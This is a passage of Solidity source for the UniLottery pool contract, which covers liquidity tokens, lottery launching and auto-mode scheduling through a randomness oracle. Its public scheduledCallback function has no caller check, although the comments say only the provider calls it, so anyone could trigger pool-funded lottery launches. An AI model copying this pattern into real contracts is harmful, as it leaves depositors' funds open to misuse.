// Delegate Contract for the Lottery, containing all logic code
// needed for deploying LotteryStubs.
// Deployed only once, on construction.
address payable immutable public delegateContract;
// The Pool Address.
address payable poolAddress;
// The Lottery Storage Factory address, that the Lottery contracts use.
UniLotteryStorageFactory lotteryStorageFactory;
// Pool-Only modifier.
modifier poolOnly
{
require( msg.sender == poolAddress/*,
"Function can only be called by the Main Pool!" */);
_;
}
// Constructor.
// Set the Uniswap Address, and deploy&lock the Delegate Code contract.
//
constructor( /*address payable _uniRouter*/ )
{
//uniRouterAddress = _uniRouter;
delegateContract = address( uint160( address( new Lottery() ) ) );
}
// Initialization function.
// Set the poolAddress as msg.sender, and lock it.
// Also, set the Lottery Storage Factory contract instance address.
function initialize( address _storageFactoryAddress )
external
{
require( poolAddress == address( 0 )/*,
"Initialization has already finished!" */);
// Set the Pool's Address.
// Lock it. No more calls to this function will be executed.
poolAddress = msg.sender;
// Set the Storage Factory, and initialize it!
lotteryStorageFactory =
UniLotteryStorageFactory( _storageFactoryAddress );
lotteryStorageFactory.initialize();
}
/**
* Deploy a new Lottery Stub from the specified config.
* @param config - Lottery Config to be used (passed by the pool).
* @return newLottery - the newly deployed lottery stub.
*/
function createNewLottery(
Lottery.LotteryConfig memory config,
address randomnessProvider )
public
poolOnly
returns( address payable newLottery )
{
// Create new Lottery Storage, using storage factory.
// Populate the stub, by calling the "construct" function.
LotteryStub stub = new LotteryStub();
stub.stub_construct( delegateContract );
Lottery( address( stub ) ).construct(
config, poolAddress, randomnessProvider,
lotteryStorageFactory.createNewStorage() );
return address( stub );
}
}
//
// Use OpenZeppelin ERC20 token implementation for Pool Token.
// Import the Core UniLottery Settings, where core global constants
// are defined.
// The Uniswap Lottery Token implementation, where all lottery player
// interactions happen.
// Randomness provider, using Provable oracle service inside.
// We instantiate this provider only once here, and later, every
// lottery can use the provider services.
// Use a Lottery Factory to create new lotteries, without using
// "new" statements to deploy lotteries in the Pool, because that
// pattern makes the Pool's code size exdeed the 24 kB limit.
/**
* UniLotteryPool version v0.1
*
* This is the main UniLottery Pool DAO contract, which governs all
* pool and lottery operations, and holds all poolholder funds.
*
* This contract uses ULPT tokens to track users share of the pool.
* Currently, this contract itself is an ULPT token - gas saving is
* a preference, given the current huge Ethereum gas fees, so better
* fit more inside a single contract.
*
* This contract is responsible for launching new lotteries,
* managing profits, and managing user fund contributions.
*
* This is because the project is in early stage, and current version
* is by no means finalized. Some features will be implemented
* or decided not to be implemented later, after testing the concept
* with the initial version at first.
*
* This version (v0.1) allows only basic pool functionality, targeted
* mostly to the only-one-poolholder model, because most likely
* only Owner is going to use this pool version.
*
* =================================================
*
* Who can transfer money to/from the pool?
*
* There are 2 actors which could initiate money transfers:
* 1. Pool shareholders - by providing/removing liquidity in
* exchange for ULPT.
* 2. Lottery contracts - on start, pool provides them initial funds,
* and on finish, lottery returns initial funds + profits
* back to the pool.
*
* -------------------------------------------------
*
* In which functions the money transfers occur?
*
* There are 4 functions which might transfer money to/from the pool:
*
* 1. [IN] The lotteryFinish() function.
* Used by the finished lotteries to transfer initial funds
* and profits back to the pool.
*
* 2. [IN] provideLiquidity() function.
* Is called by users to provide ETH into the pool in exchange
* for ULPT pool share tokens - user become pool shareholders.
*
* 3. [OUT] removeLiquidity() function.
* Is called by users when they want to remove their liquidity
* share from the pool. ETH gets transfered from pool to
* callers wallet, and corresponding ULPT get burned.
*
* 4. [OUT] launchLottery() function.
* This function deploys a new lottery contract, and transfers
* its initial funds from pool balance to the newly deployed
* lottery contract.
* Note that lotteries can't finish with negative profits, so
* every lottery must return its initial profits back to the
* pool on finishing.
*/
contract UniLotteryPool is ERC20, CoreUniLotterySettings
{
// =================== Structs & Enums =================== //
/* Lottery running mode (Auto-Lottery, manual lottery).
*
* If Auto-Lottery feature is enabled, the new lotteries will start
* automatically after the previous one finished, and will use
* the default, agreed-upon config, which is set by voting.
*
* If Manual Lottery is enabled, the new lotteries are started
* manually, by submitting and voting for a specific config.
*
* Both modes can have AVERAGE_CONFIG feature, when final lottery
* config is not set by voting for one of several user-submitted
* configs, but final config is computed by averaging all the voted
* configs, where each vote proposes a config.
*/
enum LotteryRunMode {
MANUAL,
AUTO,
MANUAL_AVERAGE_CONFIG,
AUTO_AVERAGE_CONFIG
}
// =================== Events =================== //
// Periodic stats event.
event PoolStats(
uint32 indexed lotteriesPerformed,
uint indexed totalPoolFunds,
uint indexed currentPoolBalance
);
// New poolholder joins and complete withdraws of a poolholder.
event NewPoolholderJoin(
address indexed poolholder,
uint256 initialAmount
);
event PoolholderWithdraw(
address indexed poolholder
);
// Current poolholder liquidity adds/removes.
event AddedLiquidity(
address indexed poolholder,
uint256 indexed amount
);
event RemovedLiquidity(
address indexed poolholder,
uint256 indexed amount
);
// Lottery Run Mode change (for example, from Manual to Auto lottery).
event LotteryRunModeChanged(
LotteryRunMode previousMode,
LotteryRunMode newMode
);
// Lottery configs proposed. In other words, it's a new lottery start
// initiation. If no config specified, then the default config for
// that lottery is used.
event NewConfigProposed(
address indexed initiator,
Lottery.LotteryConfig cfg,
uint configIndex
);
// Lottery started.
event LotteryStarted(
address indexed lottery,
uint256 indexed fundsUsed,
uint256 indexed poolPercentageUsed,
Lottery.LotteryConfig config
);
// Lottery finished.
event LotteryFinished(
address indexed lottery,
uint256 indexed totalReturn,
uint256 indexed profitAmount
);
// Ether transfered into the fallback receive function.
event EtherReceived(
address indexed sender,
uint256 indexed value
);
// ========= Constants ========= //
// The Core Constants (OWNER_ADDRESS, Owner's max profit amount),
// and also the percentage calculation-related constants,
// are defined in the CoreUniLotterySettings contract, which this
// contract inherits from.
// ERC-20 token's public constants.
string constant public name = "UniLottery Main Pool";
string constant public symbol = "ULPT";
uint256 constant public decimals = 18;
// ========= State variables ========= //
// --------- Slot --------- //
// The debt to the Randomness Provider.
// Incurred when we allow the Randomness Provider to execute
// requests with higher price than we have given it funds for.
// (of course, executed only when the Provider has enough balance
// to execute it).
// Paid back on next Randomness Provider request.
uint80 randomnessProviderDebt;
// Auto-Mode lottery parameters:
uint32 public autoMode_nextLotteryDelay = 1 days;
uint16 public autoMode_maxNumberOfRuns = 50;
// When the last Auto-Mode lottery was started.
uint32 public autoMode_lastLotteryStarted;
// When the last Auto-Mode lottery has finished.
// Used to compute the time until the next lottery.
uint32 public autoMode_lastLotteryFinished;
// Auto-Mode callback scheduled time.
uint32 public autoMode_timeCallbackScheduled;
// Iterations of current Auto-Lottery cycle.
uint16 autoMode_currentCycleIterations = 0;
// Is an Auto-Mode lottery currently ongoing?
bool public autoMode_isLotteryCurrentlyOngoing = false;
// Re-Entrancy Lock for Liquidity Provide/Remove functions.
bool reEntrancyLock_Locked;
// --------- Slot --------- //
// The initial funds of all currently active lotteries.
uint currentLotteryFunds;
// --------- Slot --------- //
// Most recently launched lottery.
Lottery public mostRecentLottery;
// Current lottery run-mode (Enum, so 1 byte).
LotteryRunMode public lotteryRunMode = LotteryRunMode.MANUAL;
// Last time when funds were manually sent to the Randomness Provider.
uint32 lastTimeRandomFundsSend;
// --------- Slot --------- //
// The address of the Gas Oracle (our own service which calls our
// gas price update function periodically).
address gasOracleAddress;
// --------- Slot --------- //
// Stores all lotteries that have been performed
// (including currently ongoing ones ).
Lottery[] public allLotteriesPerformed;
// --------- Slot --------- //
// Currently ongoing lotteries - a list, and a mapping.
mapping( address => bool ) ongoingLotteries;
// --------- Slot --------- //
// Owner-approved addresses, which can call functions, marked with
// modifier "ownerApprovedAddressOnly", on behalf of the Owner,
// to initiate Owner-Only operations, such as setting next lottery
// config, or moving specified part of Owner's liquidity pool share to
// Owner's wallet address.
// Note that this is equivalent of as if Owner had called the
// removeLiquidity() function from OWNER_ADDRESS.
//
// These owner-approved addresses, able to call owner-only functions,
// are used by Owner, to minimize risk of a hack in these ways:
// - OWNER_ADDRESS wallet, which might hold significant ETH amounts,
// is used minimally, to have as little log-on risk in Metamask,
// as possible.
// - The approved addresses can have very little Ether, so little
// risk of using them from Metamask.
// - Periodic liquidity removes from the Pool can help to reduce
// losses, if Pool contract was hacked (which most likely
// wouldn't ever happen given our security measures, but
// better be safe than sorry).
//
mapping( address => bool ) public ownerApprovedAddresses;
// --------- Slot --------- //
// The config to use for the next lottery that will be started.
Lottery.LotteryConfig internal nextLotteryConfig;
// --------- Slot --------- //
// Randomness Provider address.
UniLotteryRandomnessProvider immutable public randomnessProvider;
// --------- Slot --------- //
// The Lottery Factory that we're using to deploy NEW lotteries.
UniLotteryLotteryFactory immutable public lotteryFactory;
// --------- Slot --------- //
// The Lottery Storage factory that we're using to deploy
// new lottery storages. Used inside a Lottery Factory.
address immutable public storageFactory;
// ========= FUNCTIONS - METHODS ========= //
// ========= Private Functions ========= //
// Owner-Only modifier (standard).
modifier ownerOnly
{
require( msg.sender == OWNER_ADDRESS/*, "Function is Owner-Only!" */);
_;
}
// Owner, or Owner-Approved address only.
modifier ownerApprovedAddressOnly
{
require( ownerApprovedAddresses[ msg.sender ]/*,
"Function can be called only by Owner-Approved addresses!"*/);
_;
}
// Owner Approved addresses, and the Gas Oracle address.
// Used when updating RandProv's gas price.
modifier gasOracleAndOwnerApproved
{
require( ownerApprovedAddresses[ msg.sender ] ||
msg.sender == gasOracleAddress/*,
"Function can only be called by Owner-Approved addrs, "
"and by the Gas Oracle!" */);
_;
}
// Randomness Provider-Only modifier.
modifier randomnessProviderOnly
{
require( msg.sender == address( randomnessProvider )/*,
"Function can be called only by the Randomness Provider!" */);
_;
}
/**
* Modifier for checking if a caller is a currently ongoing
* lottery - that is, if msg.sender is one of addresses in
* ongoingLotteryList array, and present in ongoingLotteries.
*/
modifier calledByOngoingLotteryOnly
{
require( ongoingLotteries[ msg.sender ]/*,
"Function can be called only by ongoing lotteries!"*/);
_;
}
/**
* Lock the function to protect from re-entrancy, using
* a Re-Entrancy Mutex Lock.
*/
modifier mutexLOCKED
{
require( ! reEntrancyLock_Locked/*, "Re-Entrant Call Detected!" */);
reEntrancyLock_Locked = true;
_;
reEntrancyLock_Locked = false;
}
// Emits a statistical event, summarizing current pool state.
function emitPoolStats()
private
{
(uint32 a, uint b, uint c) = getPoolStats();
emit PoolStats( a, b, c );
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Launch a new UniLottery Lottery, from specified Lottery Config.
* Perform all initialization procedures, including initial fund
* transfer, and random provider registration.
*
* @return newlyLaunchedLottery - the Contract instance (address) of
* the newly deployed and initialized lottery.
*/
function launchLottery(
Lottery.LotteryConfig memory cfg )
private
mutexLOCKED
returns( Lottery newlyLaunchedLottery )
{
// Check config fund requirement.
// Lottery will need funds equal to:
// initial funds + gas required for randomness prov. callback.
// Now, get the price of the random datasource query with
// the above amount of callback gas, from randomness provider.
uint callbackPrice = randomnessProvider
.getPriceForRandomnessCallback( LOTTERY_RAND_CALLBACK_GAS );
// Also take into account the debt that we might owe to the
// Randomness Provider, if it previously executed requests
// with price being higher than we have gave it funds for.
//
// This situation can occur because we transfer lottery callback
// price funds before lottery starts, and when that lottery
// finishes (which can happen after several weeks), then
// the gas price might be higher than we have estimated
// and given funds for on lottery start.
// In this scenario, Randomness Provider would execute the
// request nonetheless, provided that it has enough funds in
// it's balance, to execute it.
//
// However, the Randomness Provider would notify us, that a
// debt of X ethers have been incurred, so we would have
// to transfer that debt's amount with next request's funds
// to Randomness Provider - and that's precisely what we
// are doing here, block.timestamp:
// Compute total cost of this lottery - initial funds,
// Randomness Provider callback cost, and debt from previous
// callback executions.
uint totalCost = cfg.initialFunds + callbackPrice +
randomnessProviderDebt;
// Check if our balance is enough to pay the cost.
// TODO: Implement more robust checks on minimum and maximum
// allowed fund restrictions.
require( totalCost <= address( this ).balance/*,
"Insufficient funds for this lottery start!" */);
// Deploy the new lottery contract using Factory.
Lottery lottery = Lottery( lotteryFactory.createNewLottery(
cfg, address( randomnessProvider ) ) );
// Check if the lottery's pool address and owner address
// are valid (same as ours).
require( lottery.poolAddress() == address( this ) &&
lottery.OWNER_ADDRESS() == OWNER_ADDRESS/*,
"Lottery's pool or owner addresses are invalid!" */);
// Transfer the Gas required for lottery end callback, and the
// debt (if some exists), into the Randomness Provider.
address( randomnessProvider ).transfer(
callbackPrice + randomnessProviderDebt );
// Clear the debt (if some existed) - it has been paid.
randomnessProviderDebt = 0;
// Notify the Randomness Provider about how much gas will be
// needed to run this lottery's ending callback, and how much
// funds we have given for it.
randomnessProvider.setLotteryCallbackGas(
address( lottery ),
LOTTERY_RAND_CALLBACK_GAS,
uint160( callbackPrice )
);
// Initialize the lottery - start the active lottery stage!
// Send initial funds to the lottery too.
lottery.initialize{ value: cfg.initialFunds }();
// Lottery was successfully initialized!
// Now, add it to tracking arrays, and emit events.
ongoingLotteries[ address(lottery) ] = true;
allLotteriesPerformed.push( lottery );
// Set is as the Most Recently Launched Lottery.
mostRecentLottery = lottery;
// Update current lottery funds.
currentLotteryFunds += cfg.initialFunds;
// Emit the apppproppppriate evenc.
emit LotteryStarted(
address( lottery ),
cfg.initialFunds,
( (_100PERCENT) * totalCost ) / totalPoolFunds(),
cfg
);
// Return the newly-successfully-started lottery.
return lottery;
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* When AUTO run-mode is set, this function schedules a new lottery
* to be started after the last Auto-Mode lottery has ended, after
* a specific time delay (by default, 1 day delay).
*
* Also, it's used to bootstrap the Auto-Mode loop - because
* it schedules a callback to get called.
*
* This function is called in 2 occasions:
*
* 1. When lotteryFinish() detects an AUTO run-mode, and so, a
* new Auto-Mode iteration needs to be performed.
*
* 2. When external actor bootstraps a new Auto-Mode cycle.
*
* Notice, that this function doesn't use require()'s - that's
* because it's getting called from lotteryFinish() too, and
* we don't want that function to fail just because some user
* set run mode to other value than AUTO during the time before.
* The only require() is when we check for re-entrancy.
*
* How Auto-Mode works?
* Everything is based on the Randomness Provider scheduled callback
* functionality, which is in turn based on Provable services.
* Basically, here we just schedule a scheduledCallback() to
* get called after a specified amount of time, and the
* scheduledCallback() performs the new lottery launch from the
* current next-lottery config.
*
* * What's payable?
* - We send funds to Randomness Provider, required to launch
* our callback later.
*/
function scheduleAutoModeCallback()
private
mutexLOCKED
returns( bool success )
{
// Firstly, check if mode is AUTO.
if( lotteryRunMode != LotteryRunMode.AUTO ) {
autoMode_currentCycleIterations = 0;
return false;
}
// Start a scheduled callback using the Randomness Provider
// service! But first, we gotta transfer the needed funds
// to the Provider.
// Get the price.
uint callbackPrice = randomnessProvider
.getPriceForScheduledCallback( AUTO_MODE_SCHEDULED_CALLBACK_GAS );
// Add the debt, if exists.
uint totalPrice = callbackPrice + randomnessProviderDebt;
if( totalPrice > address(this).balance ) {
return false;
}
// Send the required funds to the Rand.Provider.
// Use the send() function, because it returns false upon failure,
// and doesn't revert this transaction.
if( ! address( randomnessProvider ).send( totalPrice ) ) {
return false;
}
// Now, we've just paid the debt (if some existed).
randomnessProviderDebt = 0;
// Now, call the scheduling function of the Randomness Provider!
randomnessProvider.schedulePoolCallback(
autoMode_nextLotteryDelay,
AUTO_MODE_SCHEDULED_CALLBACK_GAS,
callbackPrice
);
// Set the time the callback was scheduled.
autoMode_timeCallbackScheduled = uint32( block.timestamp );
return true;
}
// ========= Public Functions ========= //
/**
* Constructor.
* - Here, we deploy the ULPT token contract.
* - Also, we deploy the Provable-powered Randomness Provider
* contract, which lotteries will use to get random seed.
* - We assign our Lottery Factory contract address to the passed
* parameter - the Lottery Factory contract which was deployed
* before, but not yet initialize()'d.
*
* Notice, that the msg.sender (the address who deployed the pool
* contract), doesn't play any special role in this nor any related
* contracts.
*/
constructor( address _lotteryFactoryAddr,
address _storageFactoryAddr,
address payable _randProvAddr )
{
// Initialize the randomness provider.
UniLotteryRandomnessProvider( _randProvAddr ).initialize();
randomnessProvider = UniLotteryRandomnessProvider( _randProvAddr );
// Set the Lottery Factory contract address, and initialize it!
UniLotteryLotteryFactory _lotteryFactory =
UniLotteryLotteryFactory( _lotteryFactoryAddr );
// Initialize the lottery factory, setting it to use the
// specified Storage Factory.
// After this point, factory states become immutable.
_lotteryFactory.initialize( _storageFactoryAddr );
// Assign the Storage Factory address.
// Set the immutable variables to their temporary placeholders.
storageFactory = _storageFactoryAddr;
lotteryFactory = _lotteryFactory;
// Set the first Owner-Approved address as the OWNER_ADDRESS
// itself.
ownerApprovedAddresses[ OWNER_ADDRESS ] = true;
}
/** PAYABLE [ IN ] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
*
* The "Receive Ether" function.
* Used to receive Ether from Lotteries, and from the
* Randomness Provider, when retrieving funds.
*/
receive() external payable
{
emit EtherReceived( msg.sender, msg.value );
}
/**
* Get total funds of the pool -- the pool balance, and all the
* initial funds of every currently-ongoing lottery.
*/
function totalPoolFunds() public view
returns( uint256 )
{
// Get All Active Lotteries initial funds.
/*uint lotteryBalances = 0;
for( uint i = 0; i < ongoingLotteryList.length; i++ ) {
lotteryBalances +=
ongoingLotteryList[ i ].getActiveInitialFunds();
}*/
return address(this).balance + currentLotteryFunds;
}
/**
* Get current pool stats - number of poolholders,
* number of voters, etc.
*/
function getPoolStats()
public view
returns(
uint32 _numberOfLotteriesPerformed,
uint _totalPoolFunds,
uint _currentPoolBalance )
{
_numberOfLotteriesPerformed = uint32( allLotteriesPerformed.length );
_totalPoolFunds = totalPoolFunds();
_currentPoolBalance = address( this ).balance;
}
/** PAYABLE [ IN ] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
*
* Provide liquidity into the pool, and become a pool shareholder.
* - Function accepts Ether payments (No minimum deposit),
* and mints a proportionate number of ULPT tokens for the
* sender.
*/
function provideLiquidity()
external
payable
ownerApprovedAddressOnly
mutexLOCKED
{
// Check for minimum deposit.
//require( msg.value > MIN_DEPOSIT/*, "Deposit amount too low!" */);
// Compute the pool share that the user should obtain with
// the amount he paid in this message -- that is, compute
// percentage of the total pool funds (with new liquidity
// added), relative to the ether transferred in this msg.
// TotalFunds can't be zero, because currently transfered
// msg.value is already added to totalFunds.
//
// Also/*, "percentage" */can't exceed 100%, because condition
// "totalPoolFunds() >= msg.value" is ALWAYS true, because
// msg.value is already added to totalPoolFunds before
// execution of this function's body - transfers to
// "payable" functions are executed before the function's
// body executes (Solidity docs).
//
uint percentage = ( (_100PERCENT) * msg.value ) /
( totalPoolFunds() );
// Now, compute the amount of new ULPT tokens (x) to mint
// for this new liquidity provided, according to formula,
// whose explanation is provided below.
//
// Here, we assume variables:
//
// uintFormatPercentage: the "percentage" Solidity variable,
// defined above, in (uint percentage = ...) statement.
//
// x: the amount of ULPT tokens to mint for this liquidity
// provider, to maintain "percentage" ratio with the
// ULPT's totalSupply after minting (newTotalSupply).
//
// totalSupply: ULPT token's current total supply
// (as returned from totalSupply() function).
//
// Let's start the formula:
//
// ratio = uintFormatPercentage / (_100PERCENT)
// newTotalSupply = totalSupply + x
//
// x / newTotalSupply = ratio
// x / (totalSupply + x) = ratio
// x = ratio * (totalSupply + x)
// x = (ratio * totalSupply) + (ratio * x)
// x - (ratio * x) = (ratio * totalSupply)
// (1 * x) - (ratio * x) = (ratio * totalSupply)
// ( 1 - ratio ) * x = (ratio * totalSupply)
// x = (ratio * totalSupply) / ( 1 - ratio )
//
// ratio * totalSupply
// x = ------------------------------------------------
// 1 - ( uintFormatPercentage / (_100PERCENT) )
//
//
// ratio * totalSupply * (_100PERCENT)
// x = ---------------------------------------------------------------
// ( 1 - (uintFormatPercentage / (_100PERCENT)) )*(_100PERCENT)
//
// Let's abbreviate "_100PERCENT" to "100%".
//
// ratio * totalSupply * 100%
// x = ---------------------------------------------------------
// ( 1 * 100% ) - ( uintFormatPercentage / (100%) ) * (100%)
//
// ratio * totalSupply * 100%
// x = -------------------------------------
// 100% - uintFormatPercentage
//
// (uintFormatPercentage / (100%)) * totalSupply * 100%
// x = -------------------------------------------------------
// 100% - uintFormatPercentage
//
// (uintFormatPercentage / (100%)) * 100% * totalSupply
// x = -------------------------------------------------------
// 100% - uintFormatPercentage
//
// uintFormatPercentage * totalSupply
// x = ------------------------------------
// 100% - uintFormatPercentage
//
// So, with our Solidity variables, that would be:
// ==================================================== //
// //
// percentage * totalSupply //
// amountToMint = ------------------------------ //
// (_100PERCENT) - percentage //
// //
// ==================================================== //
//
// We know that "percentage" is ALWAYS <= 100%, because
// msg.value is already added to address(this).balance before
// the payable function's body executes.
//
// However, notice that when "percentage" approaches 100%,
// the denominator approaches 0, and that's not good.
//
// So, we must ensure that uint256 precision is enough to
// handle such situations, and assign a "default" value for
// amountToMint if such situation occurs.
//
// The most prominent case when this situation occurs, is on
// the first-ever liquidity provide, when ULPT total supply is
// zero, and the "percentage" value is 100%, because pool's
// balance was 0 before the operation.
//
// In such situation, we mint the 100 initial ULPT, which
// represent the pool share of the first ever pool liquidity
// provider, and that's 100% of the pool.
//
// Also, we do the same thing (mint 100 ULPT tokens), on all
// on all other situations when "percentage" is too close to 100%,
// such as when there's a very tiny amount of liquidity left in
// the pool.
//
// We check for those conditions based on precision of uint256
// number type.
// We know, that 256-bit uint can store up to roughly 10^74
// base-10 values.
//
// Also, in our formula:
// "totalSupply" can go to max. 10^30 (in extreme cases).
// "percentage" up to 10^12 (with more-than-enough precision).
//
// When multiplied, that's still only 10^(30+12) = 10^42 ,
// and that's still a long way to go to 10^74.
//
// So, the denominator "(_100PERCENT) - percentage" can go down
// to 1 safely, we must only ensure that it's not zero -
// and the uint256 type will take care of all precision needed.
//
if( balanceOf( msg.sender ) == 0 )
emit NewPoolholderJoin( msg.sender, msg.value );
// If percentage is below 100%, and totalSupply is NOT ZERO,
// work with the above formula.
if( percentage < (_100PERCENT) &&
totalSupply() != 0 )
{
// Compute the formula!
uint256 amountToMint =
( percentage * totalSupply() ) /
( (_100PERCENT) - percentage );
// Mint the computed amount.
_mint( msg.sender, amountToMint );
}
// Else, if the newly-added liquidity percentage is 100%
// (pool's balance was Zero before this liquidity provide), then
// just mint the initial 100 pool tokens.
else
{
_mint( msg.sender, ( 100 * (uint( 10 ) ** decimals) ) );
}
// Emit corresponding event, that liquidity has been added.
emit AddedLiquidity( msg.sender, msg.value );
emitPoolStats();
}
/**
* Get the current pool share (percentage) of a specified
* address. Return the percentage, compute from ULPT data.
*/
function getPoolSharePercentage( address holder )
public view
returns ( uint percentage )
{
return ( (_100PERCENT) * balanceOf( holder ) )
/ totalSupply();
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Remove msg.sender's pool liquidity share, and transfer it
* back to msg.sender's wallet.
* Burn the ULPT tokens that represented msg.sender's share
* of the pool.
* Notice that no activelyManaged modifier is present, which
* means that users are able to withdraw their money anytime.
*
* However, there's a caveat - if some lotteries are currently
* ongoing, the pool's current reserve balance might not be
* enough to meet every withdrawer's needs.
*
* In such scenario, withdrawers have either have to (OR'd):
* - Wait for ongoing lotteries to finish and return their
* funds back to the pool,
* - TODO: Vote for forceful termination of lotteries
* (vote can be done whether pool is active or not).
* - TODO: Wait for OWNER to forcefully terminate lotteries.
*
* Notice that last 2 options aren't going to be implemented
* in this version, because, as the OWNER is going to be the
* only pool shareholder in the begginning, lottery participants
* might see the forceful termination feature as an exit-scam
* threat, and this would damage project's reputation.
*
* The feature is going to be implemented in later versions,
* after security audits pass, pool is open to public,
* and a significant amount of wallets join a pool.
*/
function removeLiquidity(
uint256 ulptAmount )
external
ownerApprovedAddressOnly
mutexLOCKED
{
// Find out the real liquidity owner of this call -
// Check if the msg.sender is an approved-address, which can
// call this function on behalf of the true liquidity owner.
// Currently, this feature is only supported for OWNER_ADDRESS.
address payable liquidityOwner = OWNER_ADDRESS;
// Condition "balanceOf( liquidityOwner ) > 1" automatically
// checks if totalSupply() of ULPT is not zero, so we don't have
// to check it separately.
require( balanceOf( liquidityOwner ) > 1 &&
ulptAmount != 0 &&
ulptAmount <= balanceOf( liquidityOwner )/*,
"Specified ULPT token amount is invalid!" */);
// Now, compute share percentage, and send the appropriate
// amount of Ether from pool's balance to liquidityOwner.
uint256 percentage = ( (_100PERCENT) * ulptAmount ) /
totalSupply();
uint256 shareAmount = ( totalPoolFunds() * percentage ) /
(_100PERCENT);
require( shareAmount <= address( this ).balance/*,
"Insufficient pool contract balance!" */);
// Burn the specified amount of ULPT, thus removing the
// holder's pool share.
_burn( liquidityOwner, ulptAmount );
// Transfer holder's fund share as ether to holder's wallet.
liquidityOwner.transfer( shareAmount );
// Emit appropriate events.
if( balanceOf( liquidityOwner ) == 0 )
emit PoolholderWithdraw( liquidityOwner );
emit RemovedLiquidity( liquidityOwner, shareAmount );
emitPoolStats();
}
// ======== Lottery Management Section ======== //
// Check if lottery is currently ongoing.
function isLotteryOngoing( address lotAddr )
external view
returns( bool ) {
return ongoingLotteries[ lotAddr ];
}
// Get length of all lotteries performed.
function allLotteriesPerformed_length()
external view
returns( uint )
{
return allLotteriesPerformed.length;
}
/** PAYABLE [ IN ] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
*
* Ongoing (not-yet-completed) lottery finalization function.
* - This function is called by a currently ongoing lottery, to
* notify the pool about it's finishing.
* - After lottery calls this function, lottery is removed from
* ongoing lottery tracking list, and set to inactive.
*
* * Ether is transfered into our contract:
* Lottery transfers the pool profit share and initial funds
* back to the pool when calling this function, so the
*/
function lotteryFinish(
uint totalReturn,
uint profitAmount )
external
payable
calledByOngoingLotteryOnly
{
// "De-activate" this lottery.
//ongoingLotteries[ msg.sender ] = false;
delete ongoingLotteries[ msg.sender ]; // implies "false"
// We assume that totalReturn and profitAmount are valid,
// because this function can be called only by Lottery, which
// was deployed by us before.
// Update current lottery funds - this one is no longer active,
// so it's funds block.timestamp have been transfered to us.
uint lotFunds = Lottery( msg.sender ).getInitialFunds();
if( lotFunds < currentLotteryFunds )
currentLotteryFunds -= lotFunds;
else
currentLotteryFunds = 0;
// Emit approppriate events.
emit LotteryFinished( msg.sender, totalReturn, profitAmount );
// If AUTO-MODE is currently set, schedule a next lottery
// start using the current AUTO-MODE parameters!
// Ignore the return value, because AUTO-MODE params might be
// invalid, and we don't want our finish function to fail
// just because of that.
if( lotteryRunMode == LotteryRunMode.AUTO )
{
autoMode_isLotteryCurrentlyOngoing = false;
autoMode_lastLotteryFinished = uint32( block.timestamp );
scheduleAutoModeCallback();
}
}
/**
* The Callback function which Randomness Provider will call
* when executing the Scheduled Callback requests.
*
* We use this callback for scheduling Auto-Mode lotteries -
* when one lottery finishes, another one is scheduled to run
* after specified amount of time.
*
* In this callback, we start the scheduled Auto-Mode lottery.
*/
function scheduledCallback( uint256 /*requestID*/ )
public
{
// At first, check if mode is AUTO (not changed).
if( lotteryRunMode != LotteryRunMode.AUTO )
return;
// Check if we're not X-Ceeding the number of auto-iterations.
if( autoMode_currentCycleIterations >= autoMode_maxNumberOfRuns )
{
autoMode_currentCycleIterations = 0;
return;
}
// Launch an auto-lottery using the currently set next
// lottery config!
// When this lottery finishes, and the mode is still AUTO,
// one more lottery will be started.
launchLottery( nextLotteryConfig );
// Set the time started, and increment iterations.
autoMode_isLotteryCurrentlyOngoing = true;
autoMode_lastLotteryStarted = uint32( block.timestamp );
autoMode_currentCycleIterations++;
}
/**
* The Randomness Provider-callable function, which is used to
* ask pool for permission to execute lottery ending callback
* request with higher price than the pool-given funds for that
* specific lottery's ending request, when lottery was created.
*
* The function notifies the pool about the new and
* before-expected price, so the pool could compute a debt to
* be paid to the Randomnes Provider in next request.
*
* Here, we update our debt variable, which is the difference
* between current and expected-before request price,
* and we'll transfer the debt to Randomness Provider on next
* request to Randomness Provider.
*
* Notice, that we'll permit the execution of the lottery
* ending callback only if the new price is not more than
* 1.5x higher than before-expected price.
*
* This is designed so, because the Randomness Provider will
* call this function only if it has enough funds to execute the
* callback request, and just that the funds that we have transfered
* for this specific lottery's ending callback before, are lower
* than the current price of execution.
*
* Why is this the issue?
* Lottery can last for several weeks, and we give the callback
* execution funds for that specific lottery to Randomness Provider
* only on that lottery's initialization.
* So, after a few weeks, the Provable services might change the
* gas & fee prices, so the callback execution request price
* might change.
*/
function onLotteryCallbackPriceExceedingGivenFunds(
address /*lottery*/,
uint currentRequestPrice,
uint poolGivenExpectedRequestPrice )
external
randomnessProviderOnly
returns( bool callbackExecutionPermitted )
{
require( currentRequestPrice > poolGivenExpectedRequestPrice );
uint difference = currentRequestPrice - poolGivenExpectedRequestPrice;
// Check if the price difference is not bigger than the half
// of the before-expected pool-given price.
// Also, make sure that whole debt doesn't exceed 0.5 ETH.
if( difference <= ( poolGivenExpectedRequestPrice / 2 ) &&
( randomnessProviderDebt + difference ) < ( (1 ether) / 2 ) )
{
// Update our debt, to pay back the difference later,
// when we transfer funds for the next request.
randomnessProviderDebt += uint80( difference );
// Return true - the callback request execution is permitted.
return true;
}
// The price difference is higher - deny the execution.
return false;
}
// Below are the Owner-Callable voting-skipping functions, to set
// the next lottery config, lottery run mode, and other settings.
//
// When the final version is released, these functions will
// be removed, and every governance operation will be done
// through voting.
/**
* Set the LotteryConfig to be used by the next lottery.
* Owner-only callable.
*/
function setNextLotteryConfig(
Lottery.LotteryConfig memory cfg )
public
ownerApprovedAddressOnly
{
nextLotteryConfig = cfg;
emit NewConfigProposed( msg.sender, cfg, 0 );
// emitPoolStats();
}
/**
* Set the Lottery Run Mode to be used for further lotteries.
* It can be AUTO, or MANUAL (more about it on their descriptions).
*/
function setRunMode(
LotteryRunMode runMode )
external
ownerApprovedAddressOnly
{
// Check if it's one of allowed run modes.
require( runMode == LotteryRunMode.AUTO ||
runMode == LotteryRunMode.MANUAL/*,
"This Run Mode is not allowed in current state!" */);
// Emit a change event, with old value and new value.
emit LotteryRunModeChanged( lotteryRunMode, runMode );
// Set the new run mode!
